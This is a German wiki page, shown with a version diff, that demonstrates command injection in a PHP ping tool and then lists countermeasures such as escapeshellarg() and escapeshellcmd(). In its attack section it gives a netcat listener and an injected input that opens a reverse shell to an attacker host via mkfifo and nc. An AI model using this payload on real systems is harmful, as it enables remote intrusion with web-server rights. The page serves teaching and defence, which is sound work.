Command Injection Proof of Concept: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 18: | Zeile 18: | ||
*Niemals Daten von Aussen ungeprüft in Anwendungen verwenden. | *Niemals Daten von Aussen ungeprüft in Anwendungen verwenden. | ||
*Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache. | *Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache. | ||
| − | |||
*PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument: | *PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument: | ||
$cmd = 'ping -c 4 ' . escapeshellarg($ip); | $cmd = 'ping -c 4 ' . escapeshellarg($ip); | ||
| Zeile 27: | Zeile 26: | ||
*Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler: | *Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler: | ||
ping -c 4 1.1.1.1\; ls | ping -c 4 1.1.1.1\; ls | ||
| + | *Alternativ selbst entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln. | ||
Version vom 28. Juni 2021, 08:24 Uhr
PHP Code
- Bei dieser Anwendung wird die Eingabe nicht verifiziert.
- Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
- Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
- In diesem Fall führen wir eine Remote Shell aus.
Angreifer
- netcat -lp 8668
Schadcode einbringen
- 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe
Auf dem Angreifer
Gegenmassnahmen
- Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
- Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
- PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
- Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
ping -c 4 '1.1.1.1; ls'
- PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
$output = shell_exec(escapeshellcmd($cmd));
- Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
ping -c 4 1.1.1.1\; ls
- Alternativ selbst entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.


